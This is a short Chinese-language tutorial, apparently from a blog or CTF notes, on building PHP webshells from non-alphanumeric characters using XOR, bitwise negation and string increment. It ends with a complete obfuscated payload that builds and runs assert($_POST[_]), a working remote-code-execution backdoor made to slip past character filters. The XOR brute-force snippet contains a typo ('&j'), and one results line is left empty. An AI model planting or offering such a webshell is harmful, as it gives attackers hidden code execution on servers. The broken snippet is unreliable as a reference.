異或:
補充: A的ascii為65,對應二進制是01000001
<?php echo "1"^"A"; ?>
將“A”和“1”進行異或,結果為“p”
異或的過程就是講字符轉化為ascii,再變為二進制進行異或
“1”和“A”各自的ascii碼的二進制進行異或得到一個新的二進制,再進行轉碼,最終變為”p“
構造assert($_POST[_]);
<?PHP for($i = 0; $i < 256; $i++) { for($j=0; $j < 256;$j++) { if(chr($i^$j) == 'A') { echo (urlencode(chr($i)) . " " . urlencode(chr(&j)); echo "\n"; } } } ?>
//第六行中的A可以根據需求自行改變
以此類推,可以得到webshell
取反:
利用UTF-8編碼的某個漢字,將其中某個字符取出來
<?php echo ~('和'{2}); ?>
<?php echo ~('安'{2}); ?>
結果為
變量自增:
‘a'++ == 'b'
'c'++ == 'd'
不難發現,通過一個字符就可以根據ascii碼得到a-z所有字符
<?PHP echo (''.[]); ?>
數組Array的第一個字母是大寫A,而第四個字母是小寫a。
在php中,如果強制連接數組和字符串的話,數組將被轉換成字符串,即Array
再例如
<?php function B(){ echo "xiao"; } $_++; $__= "?" ^ "}"; $__(); ?>
結果為
$_++; 表示對_這個變量進行自增操作,在php中未定義的變量默認值為null,可以通過非數字進行自增操作得到一個數字
$__="?" ^ "}";表示對?和}進行異或運算,結果為B同時復制給$__
$__();函數調用

<?php $_=[]; $_=@"$_"; $_=$_['!'=='@']; $___=$_; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; $___.=$__; $__=$_; $__++;$__++;$__++;$__++; $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; $____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__; $_=$$____; $___($_[_]); ?>
如圖
參考: